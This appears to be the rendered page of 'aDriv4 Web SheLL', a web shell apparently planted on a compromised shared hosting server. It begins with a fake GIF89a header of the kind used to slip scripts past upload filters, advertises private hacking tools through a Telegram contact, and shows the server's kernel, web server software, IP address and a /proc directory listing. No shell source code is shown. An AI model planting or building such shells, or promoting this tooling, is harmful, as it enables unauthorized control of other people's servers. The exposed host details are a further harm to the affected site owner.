GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium117.web-hosting.com 4.18.0-553.47.1.lve.el8.x86_64 #1 SMP Tue Apr 8 13:54:31 UTC 2025 x86_64
 LiteSpeed
 162.0.229.112
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-11 08:58:34
.. dir - root/root 0755 2025-08-05 08:39:35
149847 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:54
174090 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:54
176026 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:54
179643 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:54
182658 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:36:04
183114 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:36:07
3982318 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:53
3982320 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:53
3982583 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:53
3982588 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:53
3982631 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:53
4038325 dir - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:53
acpi dir - root/root 0555 2025-06-11 08:58:37
bus dir - root/root 0555 2025-06-11 08:58:47
driver dir - root/root 0555 2025-09-08 08:36:20
fs dir - root/root 0555 2025-06-11 08:58:47
irq dir - root/root 0555 2025-06-11 08:58:47
kcare dir - root/root 0555 2025-09-08 08:36:20
lve dir - root/root 0555 2025-09-08 08:36:15
net link - rxflqrzo/rxflqrzo 0555 2025-09-08 08:36:20
scsi dir - root/root 0555 2025-06-11 08:58:47
self link - rxflqrzo/rxflqrzo 0555 2025-09-08 08:35:54
sys dir - root/root 0555 2025-06-11 08:58:35
sysvipc dir - root/root 0555 2025-09-08 08:36:20
thread-self link - rxflqrzo/rxflqrzo 0555 2025-09-08 08:36:18
tty dir - root/root 0555 2025-09-08 08:36:20
buddyinfo 0 B root/root 0444 2025-09-08 08:36:20
cgroups 0 B root/root 0444 2025-09-08 08:36:20
cmdline text/plain 0 B root/root 0444 2025-09-08 08:36:17
consoles 0 B root/root 0444 2025-09-08 08:36:20
cpuinfo text/plain 0 B root/root 0444 2025-09-08 08:36:18
crypto 0 B root/root 0444 2025-09-08 08:36:20
devices 0 B root/root 0444 2025-09-08 08:36:20
diskstats 0 B root/root 0444 2025-09-08 08:36:17
dma 0 B root/root 0444 2025-09-08 08:36:20
execdomains 0 B root/root 0444 2025-09-08 08:36:20
fb 0 B root/root 0444 2025-09-08 08:36:20
filesystems text/plain 0 B root/root 0444 2025-09-08 08:35:42
interrupts 0 B root/root 0444 2025-09-08 08:36:20
iomem 0 B root/root 0444 2025-09-08 08:36:20
ioports 0 B root/root 0444 2025-09-08 08:36:20
kallsyms 0 B root/root 0444 2025-06-11 08:58:47
kcore 128 TB root/root 0400 2025-06-11 08:58:37
key-users 0 B root/root 0444 2025-09-08 08:36:20
keys 0 B root/root 0444 2025-09-08 08:36:20
kmsg 0 B root/root 0400 2025-09-08 08:36:20
kpagecgroup 0 B root/root 0400 2025-09-08 08:36:20
kpagecount 0 B root/root 0400 2025-09-08 08:36:20
kpageflags 0 B root/root 0400 2025-09-08 08:36:20
loadavg text/plain 0 B root/root 0444 2025-09-08 08:36:20
locks 0 B root/root 0444 2025-09-08 08:36:20
mdstat 0 B root/root 0444 2025-09-08 08:36:20
meminfo text/plain 0 B root/root 0444 2025-09-08 08:31:05
misc 0 B root/root 0444 2025-09-08 08:36:20
modules 0 B root/root 0444 2025-09-08 08:36:20
mounts text/plain 0 B rxflqrzo/rxflqrzo 0444 2025-09-08 08:36:20
mtrr 0 B root/root 0644 2025-06-11 08:58:47
pagetypeinfo 0 B root/root 0400 2025-09-08 08:36:20
partitions 0 B root/root 0444 2025-09-08 08:36:20
sched_debug 0 B root/root 0444 2025-09-08 08:36:20
schedstat 0 B root/root 0444 2025-09-08 08:36:20
slabinfo 0 B root/root 0400 2025-09-08 08:36:20
softirqs 0 B root/root 0444 2025-09-08 08:36:20
stat text/plain 0 B root/root 0444 2025-09-08 08:35:42
swaps 0 B root/root 0444 2025-06-11 08:58:35
sysrq-trigger 0 B root/root 0200 2025-06-11 08:58:47
timer_list 0 B root/root 0400 2025-09-08 08:36:20
uptime text/plain 0 B root/root 0444 2025-09-08 08:31:05
version text/plain 0 B root/root 0444 2025-09-08 08:36:20
vmallocinfo 0 B root/root 0400 2025-09-08 08:36:20
vmstat 0 B root/root 0444 2025-09-08 08:36:20
zoneinfo 0 B root/root 0444 2025-09-08 08:36:20
© aDriv4